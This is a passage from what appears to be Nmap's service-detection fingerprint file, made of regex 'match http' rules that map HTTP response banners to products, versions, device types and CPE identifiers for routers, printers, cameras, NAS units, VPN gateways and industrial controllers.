.*\r\nDate: .*\r\nServer: RAID HTTPServer/([\w._-]+)\r\n| p/Sun StorEdge 3511 http config/ v/$1/ d/storage-misc/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\n.*Samsung Printer Status.*var contentURI = \"/general/printerDetails\.htm\"|s p/Samsung printer http config/ d/printer/ match http m|^HTTP/1\.0 200 OK\r\nCache-control: no-cache\r\nServer: Ubicom/([\w._-]+)\r\n.*NETGEAR WNHDE111 |s p/Ubicom httpd/ v/$1/ i/Netgear WNHDE111 WAP http config/ d/WAP/ cpe:/a:ubicom:httpd:$1/ cpe:/h:netgear:wnhde111/a match http m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Server\r\n.*<title>[nN]euf ?box - Accueil|s p/SFR Neuf Box DSL modem http config/ d/broadband router/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Axigen-Webmail\r\n|s p/Axigen webmail httpd/ cpe:/a:gecad:axigen_mail_server/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Axigen-Webadmin\r\n|s p/Axigen webadmin httpd/ cpe:/a:gecad:axigen_mail_server/ match http m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Allegro-Software-RomPager/([\w._-]+)\r\n\r\n\n\n.*\n\n(.*) - VSX 7000A| p/NetPort httpd/ v/$1/ i/Polycom VSX 7000A http config; name $2/ d/webcam/ cpe:/h:polycom:vsx_7000a/a match http m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Virata-EmWeb/R([\w._-]+)\r\nLocation: https://[\w._-]+/\+webvpn\+/index\.html\r\n| p/Virata-EmWeb/ v/$SUBST(1,"_",".")/ i/Cisco WebVPN http config/ d/security-misc/ cpe:/a:virata:emweb:$SUBST(1,"_",".")/a match http m|^HTTP/1\.0 200 OK\r\nServer: dtHTTPd/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\n\r\n(UX-\w+)| p/dtHTTPd/ v/$1/ i/Sharp Broadband $2 Fax http config/ d/printer/ cpe:/h:sharp:$2/ match http m|^HTTP/1\.0 200 OK\r\nServer: dtHTTPd/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\n\r\n(FO-\w+)| p/dtHTTPd/ v/$1/ i/Sharp $2 printer http config/ d/printer/ cpe:/h:sharp:$2/ match http m|^HTTP/1\.1 200 OK\r\nServer: Conexant-EmWeb/R([\w._-]+) SIPGT/([\w._-]+)\r\n.*Login page.*NOTE: The requested URL could not be retrieved.*background-image: url\(/html/de/images/bg_ramp\.jpg\);\r\n|s p/AVM FRITZ!Box WAP http config/ d/WAP/ match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n.*Note: The requested URL could not be retrieved\..*background-image: url\(\.\./\.\./de/images/bg_ramp\.jpg\);\n|s p/AVM FRITZ!Box WLAN 7270 WAP http config/ d/WAP/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: \d+\r\nContent-Type: text/html.*\r\nPragma: no-cache\r\nServer: Webserver\r\nWWW-Authenticate: Basic realm=\"HTTPS Access\"\r\n\r\n401 Unauthorized \(ERR_ACCESS_DENIED\)

          401 Unauthorized


          ERR_ACCESS_DENIED
          Webserver| p/AVM FRITZ!Box WAP http config/ d/WAP/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd[/ ]([\d.]+) \(([^)]+)\)\r\n|si p/lighttpd/ v/$1/ i/$2/ cpe:/a:lighttpd:lighttpd:$1/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd[/ ]([\d.]+)\r\n|si p/lighttpd/ v/$1/ cpe:/a:lighttpd:lighttpd:$1/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd|si p/lighttpd/ cpe:/a:lighttpd:lighttpd/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: micro_httpd\r\nCache-Control: no-cache\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"U\.S\. Robotics ADSL Router\"\r\n| p/micro_httpd/ i/USRobotics USR9107A ADSL http config/ d/broadband router/ cpe:/a:acme:micro_httpd/ match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\nDate: .*\n\n\n\n\r\n$| p/RapidLogic httpd/ v/$1/ i/3Com 3CRWE454G75 WAP http config/ d/WAP/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:3com:3crwe454g75/a match http m|^HTTP/1\.0 200 OK\r\nServer: RapidLogic/([\d.]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html\r\n\r\n\r\n$| p/RapidLogic httpd/ v/$1/ i/Netgear WAG102 WAP http config/ d/WAP/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:netgear:wag102/a match http m|^HTTP/1\.0 302 Moved Temporarily\r\nServer: RapidLogic/([\d.]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html; charset=UTF-8\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nLocation: /main\.html\r\n\r\n\r\n$| p/RapidLogic httpd/ v/$1/ i/Sharp MX-2700N printer/ d/printer/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:sharp:mx-2700n/a match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nServer: ZING-(\d+/[\d.]+) \([0-9a-f]{32}; [\w-]+\) ([^\r\n]*)\r\n\r\n$| p/ZING httpd/ v/$1/ i/SanDisk Sansa Connect MP3 player; $2/ d/media device/ match http m|^HTTP/1\.0 503 Service Unavailable\r\nContent-Type: text/html\r\nContent-Length: 169\r\n\r\n503 Service Unavailable

          503 Service Unavailable

          The service is not available\. Please try again later\.

          $| p/Alcatel-Lucent OmniPCX PBX httpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: \r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-type: text/html\r\nConnection: close\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \nAuthorization required\.\n
          \n\n$| p/Alcatel-Lucent OmniPCX PBX httpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ match http m|^HTTP/1\.0 301 Moved Permanently \r\nContent-Type: text/html\r\nDate: .*\r\nLocation: /fusionreactor/\r\n\r\nRedirecting, please wait\.$| p/FusionReactor web server monitor/ match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: wgt_http ([\d.]+)\r\nWWW-Authenticate: Basic realm=\"Anlage\"\r\nConnection: close\r\n$| p/wgt_http/ v/$1/ i/Eumex 704PC ADSL router/ d/broadband router/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Alvarion-Webs\r\nDate: THU JAN 01 01:04:22 1970\r\nWWW-Authenticate: Basic realm=\"Alvarion\"\r\n.*Document Error: Unauthorized\r\n\t\t

          Access Error: Unauthorized

          \r\n\t\t

          Access to this document requires a User ID

          \r\n\r\n$|s p/Alvarion-Webs/ i/Alvarion BreezeMAX WiMAX WAP http config/ d/WAP/ match http m|^HTTP/1\.0 400 Bad Request\r\nPragma: no-cache\r\nContent-type: text/html\r\n\r\n\n \n 400 Bad Request !!!| p/DrayTek Vigor ADSL router httpd/ d/broadband router/ match http m|^HTTP/1\.0 200 ;OK\r\nServer: \?\?\?\?\?\?\?\?\?\?\?\?\?\?\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n\nJacarta interSeptor\n| p/Jacarta interSeptor environmental monitor http/ d/specialized/ match http m|^HTTP/1\.0 302 Document Follows\r\nLocation: http:///index\.htm\r\nConnection: close\r\n\r\n| p/Dell PowerVault TL4000 http config/ d/storage-misc/ match http m|^HTTP/1\.0 302 Found\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: -1\r\nLocation: https?://[\d.]+/login\.htm\r\n\r\n.*Click Here to proceed\.\n|s p/3Com Baseline Switch 2948-SFP Plus web config/ d/switch/ match http m|^HTTP/1\.0 401 Unauthorized\.\r\nWWW-Authenticate: Basic realm=\"GAI-Tronics\"\r\nContent-Type: text/html\r\n\r\n401 Unauthorized\.\r\n\r\n

          401 Unauthorized

          The requested URL / requires authorization\.

          \r\n


          \r\n\r\n$| p/GAI-Tronics Commander VoIP phone http config/ d/VoIP phone/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0\r\nServer: HBHTTP POGOPLUG - ([\d.]+) - Linux\r\nDate: .*\r\n\r\n$| p/HBHTTP/ v/$1/ i/Pogoplug NAS device/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP POGOPRO - ([\w._-]+) - Linux\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/HBHTTP/ v/$1/ i/Pogoplug Pro NAS device/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP DISCOVERY - (\d[\w._-]+) - Linux\r\n| p/HBHTTP/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nDate: .*\r\nExpires: Thu, 26 Oct 1995 00:00:00 GMT\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n.*Emerson Network Power IntelliSlot Web/(\d+) Card|s p/Allegro RomPager/ v/$1/ i|Emerson Network Power IntelliSlot Web/$2 card| d/power-device/ cpe:/a:allegro:rompager:$1/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w.]+)/?\r\nConnection: close\r\nContent-Length: 0\r\n\r\n|s p/VMware Server 2 http config/ h/$1/ cpe:/a:vmware:server:2/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nServer: WindWeb/([\d.]+)\r\nDate: .*\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"HP\"\r\n.*\r\n|s p/SimpleHelp remote desktop httpd/ match http m|^HTTP/1\.0 302 Object Moved\r\n(?:[^\r\n]+\r\n)*?Location: /\+CSCOE\+/logon\.html\r\nSet-Cookie: tg=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure\r\n|s p/Cisco ASA firewall http config/ d/firewall/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: tg=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure\r\nSet-Cookie: webvpn=;.*/\+CSCOE\+/logon\.html|s p/Cisco ASA firewall http config/ d/firewall/ match http m|^HTTP/1\.0 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: Mbedthis-Appweb/([\d.]+)\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: _appwebSessionId_=|s p/Mbedthis-Appweb/ v/$1/ i/Iomega StorCenter ix2 NAS device/ d/storage-misc/ cpe:/a:mbedthis:appweb:$1/ cpe:/h:iomega:storcenter_ix2/a match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\nLocation: /EnterpriseController\r\n| p/GoogleMini search appliance httpd/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: micro_httpd\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"Huawei SmartAX (\w+)\"\r\n|s p/micro_httpd/ i/Huawei SmartAX $1 ADSL router http config/ d/broadband router/ cpe:/a:acme:micro_httpd/ cpe:/h:huawei:smartax_$1/a match http m|^HTTP/1\.0 200 OK Content-type: text/html\r\n\r\n.*

          57066 Minolta Network Configuration Sheet 1 of 2\n\n

          .*Serial Number: *(\d+)\n.*Ethernet Address: *([0-9A-F.]+).*F/W Version: *([\w.]+ \(\w+\)).*Print Server Name: *([\w_.-]+)|s p/Minolta PagePro 20 printer http config/ i/serial number: $1, MAC: $2, firmware $3/ d/printer/ h/$4/ cpe:/h:minolta:pagepro_20/a match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n(?:[^\r\n]+\r\n)*?Server: WIC-2300\r\n|s p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n(?:[^\r\n]+\r\n)*?Server: DCS-\w+\r\n|s p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm=(DCS-\w+)\r\n\r\nPassword Error\. $| p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ match http m|^HTTP/1\.0 400 bad url /\r\nServer: TinyHTTPProxy/([\d.]+) ([^\r\n]+)\r\n| p/TinyHTTPProxy/ v/$1/ i/$2/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-store\r\nExpires: -1\r\n.*|s p/Juniper SA2000 or SA4000 VPN gateway http config/ d/security-misc/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-store\r\nExpires: -1\r\n.*by Pulse Secure, LLC\..*|s p/Pulse Secure VPN gateway http config/ d/security-misc/ match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n\r\n\r\n\r\nFMS : Freenet Message System| p/Freenet Message System web client/ match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: Profense\r\n|s p/Profense web application firewall/ d/firewall/ match http m|^HTTP/1\.0 200 Ok\r\nServer: NET-DK/([\d.]+)\r\n.*Touchstone Status|s p/NET-DK/ v/$1/ i/Arris Touchstone TM702B VoIP modem/ d/VoIP adapter/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: MediaBox HTTPd Server/([\d.]+) \(Unix\)\r\n|s p/MediaBox HTTPd Server/ v/$1/ o/Unix/ match http m|^HTTP/1\.1 200 OK\r\nServer: cab/([\d.]+) \(([^)]+)\)\r\n.*cab AdminApplet|s p/cab/ v/$1/ i/AdminApplet $2/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n\r\nEverything| p/voidtools Everything search engine httpd/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: sessionId=.*\n\n\nCisco Systems Login\n|s p/Cisco 4400 wireless LAN controller httpd/ d/remote management/ match http m|^HTTP/1\.0 200 OK\r\n.*:: ThinStation ::.*

          Thinstation ([\w._-]+) on ([\w._-]+) :: Main page

          |s p/ThinStation http admin/ v/$1/ o/Linux/ h/$2/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: \r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"ADSL Router \(ANNEX B\)\"\r\n.*.*|s p/Allnet ALL0277DSL ADSL router http config/ d/broadband router/ cpe:/h:allnet:all0277dsl/a match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w._-]+)/\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 56\r\n\r\n

          301 Moved Permanently

          $| p/VMware ESXi Server httpd/ h/$1/ cpe:/o:vmware:esxi/ match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"PCS-1 Web Control\"\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n|s p/Allegro RomPager/ v/$1/ i/Sony PCS-1 video conferencing http config/ d/webcam/ cpe:/a:allegro:rompager:$1/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ubicom/([\d.]+)\r\n.*D-Link Gaming Router :\r\n\t\t Login\r\n\t|s p/Ubicom/ v/$1/ i/D-Link DGL-4500 WAP http config/ d/WAP/ cpe:/h:dlink:dgl-4500/a match http m|^HTTP/1\.1 307 Temporary Redirect\r\nConnection: keep-alive,close\r\n(?:[^\r\n]+\r\n)*?Location: http://([\w._-]+)/servlet/StartServlet\r\nServer: PEWG/([\d.]+)\r\n|s p/PEWG/ v/$2/ i/OCE print server/ d/print server/ h/$1/ match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"(\w+)v(\d+)POE \(([0-9A-F]{12})\)\"\r\n|s p/InterTel $1 VoIP phone http config/ i/firmware $2; MAC $3/ d/VoIP phone/ match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"(\d+)i \(([0-9A-F]{12})\)\"\r\n|s p/InterTel $1 VoIP phone http config/ i/MAC $2/ match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"IP Resource Card \(IPRC\)\(id=[0-9A-F]+\)\"\r\n|s p/InterTel IPRC VoIP management card/ d/PBX/ match http m|^HTTP/1\.1 200 OK\r\n.*Ethernetov\xfd teplom\xecr TME od Papouch s\.r\.o\.|s p/Papouch TME Ethernet thermometer http interface/ match http m|^HTTP/1\.1 200 OK\r\nServer: SMC Internet Update Manager\r\nConnection: Keep-Alive\r\nContent-Type: text\r\nDate: .*\r\nContent-Length: 61\r\n\r\nAvira Internet Update Manager ist betriebsbereit$| p/Avira SMC Internet Update Manager/ match http m|^HTTP/1\.1 200 OK\r\nServer: Avira Update Manager\r\nConnection: Keep-Alive\r\nContent-Type: text\r\nDate: .*\r\nContent-Length: 52\r\n\r\nAvira Update Manager ist betriebsbereit| p/Avira Update Manager/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w._-]+)/\r\nConnection: close\r\nContent-Length: 0\r\n\r\n$| p/VMware ESX 3.5 Server httpd/ h/$1/ cpe:/o:vmware:esx:3.5/ match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\n.*.*.*.*\r\n\r\n\r\n\r\n\r\n$|s p/GoldStar iPECS 50B PBX http config/ d/PBX/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure\r\n.*VMware View Portal|s p/VMware View Manager httpd/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure; HttpOnly\r\n.*VMwareView Portal|s p/VMware View Manager httpd/ match http m|^HTTP/1\.1 200 OK\r\ncache-control: no-cache\r\nContent-Length: \d+\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure.*VMware View Portal|s p/VMware View Manager httpd/ match http m|^HTTP/1\.1 404 Not Found\r\nDate: .* GMT\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\r\n\r\nVMware View| p/VMware View Manager httpd/ match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Norman Security/([\d.]+)\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: 90\r\n\r\nNorman Security Error

          403 - Forbidden

          $| p/Norman Security Endpoint Protection httpd/ v/$1/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Norman Security/([\d.]+)\r\n.*Norman Security Error

          401 - Unauthorized

          $|s p/Norman Security Endpoint Protection httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\n.*.*Oracle Applications Rapid Install|s p/Oracle Rapid Install httpd/ match http m|^HTTP/1\.1 200 OK\r\nDate: [^\r\n]+\r\n(?:Connection: \S+)?\r\nContent-Type: text/html\r\n(?:X-Frame-Options: DENY\r\n)?Content-Length: \d+\r\n\r\n.*|s p/VMware vCenter Converter httpd/ v/4/ match http m|^HTTP/1\.1 200 OK\r\nDate: [^\r\n]+\r\n(?:Connection: \S+)?\r\nContent-Type: text/html\r\n(?:X-Frame-Options: DENY\r\n)?Content-Length: \d+\r\n\r\n.*|s p/VMware vCenter Converter httpd/ v/4.3/ match http m|^HTTP/1\.1 200 OK\r\nContent-Length: 273\r\nContent-Type: text/html\r\n\r\nRoot Index\r\n$| p/RSA SecurID 2.0 RADIUS http config/ d/security-misc/ cpe:/h:rsa:securid:2.0/ match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: LapLink ([\d.]+)\r\n|s p/Laplink file transfer httpd/ v/$1/ match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\n\n\n\n[\w._-]+ - Hallo!| p/Xrelayd SSL engine httpd/ i/OpenWrt/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.0 200 OK\r\nServer: jToolkitHTTP/([\w._-]+) Python/([\d.]+)\r\n| p/jToolkit web framework httpd/ v/$1/ i/Python $2/ cpe:/a:python:python:$2/ match http m|^HTTP/1\.0 200 Document follows\r\n(?:[^\r\n]+\r\n)*?Server: PureMessage Web Server\r\n|s p/Sophos PureMessage spam filter http interface/ match http m|^HTTP/1\.0 200 OK\r\nServer: iCanWebServer/([\d.]+)\r\n.*Network Camera Viewer|s p/iCanWebServer/ v/$1/ d/webcam/ match http m|^HTTP/1\.1 302 Found\r\n(?:[^\r\n]+\r\n)*?Location: https://([\w._-]+):(\d+)/zimbra/\r\n|s p/Zimbra http config/ i/redirect to https on port $2/ h/$1/ cpe:/a:zimbra:zimbra_collaboration_suite/ match http m|^HTTP/1\.1 302 Found\r\n(?:Date: .*\r\n)?Expires: .*\r\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\r\nPragma: no-cache\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Content-Type: text/html; charset=[Uu][Tt][Ff]-8\r\nContent-Language: en-US\r\nLocation: https://[^/]+/[^?]*\?zinitmode=http\r\nContent-Length: 0\r\n\r\n$| p/Zimbra http config/ i/redirect to https/ cpe:/a:zimbra:zimbra_collaboration_suite/ match http m|^HTTP/1\.0 400 String index out of range: -1\r\nContent-Type: text/html\r\n\r\n$| p/Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 302 Found\r\ncontent-type: text/html;charset=utf8\r\ncache-control: no-cache\r\ncontent-length: 0\r\nlast-modified: .*\r\ndate: .*\r\nconnection: close\r\nlocation: /login\?continue=%2f\r\n\r\n$| p/Alterator remote management httpd/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.0 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: Alfred/([\d.]+)\r\n|s p/Alfred RenderMan control httpd/ v/$1/ match http m|^HTTP/1\.0 200 Ok\r\n(?:[^\r\n]+\r\n)*?Server: AXIS ThinWizard/v([\d.]+)\r\n|s p/AXIS ThinWizard printer management httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: \r\nContent-Length: 1057\r\n.*Bad Browser|s p/Siemens HG 1500 router http config/ cpe:/h:siemens:hg_1500/a match http m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n.*Correct authorization is required for this area\. Either your browser does not perform authorization, or your authorization has failed\. RomPager server by Digest Access Authentication, which is not supported by your browser\.

          \nReturn to last page

          \n\n\n\n$|s p/AudioCodes Mediant 200 VoIP gateway http config/ d/VoIP adapter/ cpe:/a:allegro:rompager:$1/ cpe:/h:audiocodes:mediant_200/a match http m|^HTTP/1\.1 200 OK\r\nServer: WHC chatroom\r\n| p/Fifi chat server http interface/ match http m|^HTTP/1\.0 200 OK\r\nServer: Xunlei Http Server/([\d.]+)\r\n| p/Xunlei BitTorrent http interface/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\n.*<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>\n\n\n \n \r\n\r\n\r\n\r\n

          |s p/HP Procurve 1810G switch http config/ d/switch/ cpe:/h:hp:procurve_switch_1810g/ cpe:/o:hp:procurve_switch_software/ match http m|^HTTP/1\.0 302\r\nLocation: /Portal0000\.htm\r\n.*Error\r\n

          /

          302 : MOVED TEMPORARILY

          $|s p/Siemens Simatic S7-300 PLC httpd/ d/specialized/ match http m|^HTTP/1\.0 302 Object Moved\r\nContent-Type:text/html\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /Default\.mwsl\r\n\r\n$| p/Siemens Simatic S7-1200 PLC httpd/ d/specialized/ match http m|^HTTP/1\.0 302 Object Moved\r\nContent-Type:text/html\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /Default\.html\r\n\r\n$| p/Siemens Simatic HMI MiniWeb httpd/ d/specialized/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"Web Management\"\r\n\r\n401 Unauthorized401 Unauthorized$| p/Foundry EdgeIron switch http config/ d/switch/ match http m|^HTTP/1\.1 404 Not Found\r\nConnection: Close\r\nContent-Type: text/html\r\n\r\nThe specified URL cannot be found\r\n| p/Barracuda Web Application Firewall/ d/firewall/ match http m|^HTTP/1\.1 403 Directory Listing Denied\r\nContent-Type: text/plain\r\nContent-Length: 12\r\n\r\nError: 403\r\n$| p/HP Dream Screen media player http config/ d/media device/ match http m|^HTTP/1\.0 200 OK\r\nX-Powered-By: PHP/([\w._-]+)\r\n.*Seagate NAS - ([\w._-]+)\n\n|s p/Seagate Black Armor 440 NAS http config/ i/PHP $1/ h/$2/ cpe:/a:php:php:$1/ match http m|^HTTP/1\.0 200 OK\r\nX-Powered-By: PHP/([\w._-]+)\r\n.*My Book World Edition - ([\w._-]+)\n.*\n|s p/Western Digital My Book http config/ i/PHP $1/ d/storage-misc/ h/$2/ cpe:/a:php:php:$1/ match http m|^HTTP/1\.1 302 Found\r\n(?:[^\r\n]+\r\n)*?Location: https://([\w._-]+)/site-web/home\.seam\r\n|s p/Seam web framework/ h/$1/ match http m|^HTTP/1\.0 200 OK\r\n.*Print server homepage\n\n\n|s p/Citizen CLP-521 or Kyocera Mita KM-1530 printer http config/ d/printer/ cpe:/h:kyocera:mita_km-1530/a match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 19\r\nContent-Type: text/html\r\n\r\n 404 Page Not Found$| p/Kyocera Mita FS-1350DN printer http config/ d/printer/ cpe:/h:kyocera:mita_fs-1350dn/a match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"GeneralUser/Administrator\"\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n
          \nAuthorization required for the requested URL\.\n\n|s p/thttpd/ i/Panasonic BB-HCM511 IP camera http config/ cpe:/a:acme:thttpd/ match http m|^HTTP/1\.1 307 Redirect\r\nLocation: https?://[^\r\n]*\r\nContent-Length: 0\r\n\r\n$| p/Apache httpd/ v/2.0.X/ cpe:/a:apache:http_server:2.0/ match http m|^HTTP/1\.0 200 OK\r\nServer: RapidLogic/([\w._-]+)\r\n.*OneAccess WCF|s p/RapidLogic httpd/ v/$1/ i/OneAccess ONE100A router http config/ d/router/ o/OneOS/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:oneaccess:one100a/a cpe:/o:oneaccess:oneos/ match http m|^HTTP/1\.1 200\r\n.*|s p/Nova viaWARP httpd/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Apache ([\w._-]+) in ([^\r\n]+)\r\n|s p/Apache Tomcat $1/ i/in $2/ cpe:/a:apache:tomcat/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-type: text/html\r\nAccept-Ranges: bytes\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"PLC Adaptor\"\r\n\r\n| p/Panasonic PLC Adaptor Ethernet-to-mains bridge http config/ d/bridge/ match http m|^\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n\n$| p/kissdx media player control httpd/ match http m|^HTTP/1\.1 200 OK\r\nServer: yawcam/([\w._-]+)\r\nContent-Length:\d+\r\n| p/Yawcam webcam viewer httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: (?:Cisco )?ACS ([\w._-]+)\r\n|s p/Cisco ACS httpd/ v/$1/ match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?Server: WYM/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"Rovio\"\r\n|s p/WYM httpd/ v/$1/ i/Wowwee Rovio webcam/ d/webcam/ match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Kerio Connect ([^\r\n]+)\r\n|s p/Kerio Connect webmail httpd/ v/$1/ cpe:/a:kerio:connect:$1/ match http m|^HTTP/1\.1 302 Found\r\nConnection: Close\r\nContent-Length: 0\r\nContent-type: text/html\r\nDate: .*\r\nlocation: https://([^/:]+)(?::\d+)?/webmail/login/\r\nX-UA-Compatible: IE=8\r\n\r\n| p/Kerio Connect webmail httpd/ h/$1/ cpe:/a:kerio:connect/ match http m|^HTTP/1\.0 500 Internal server error\nServer: M3 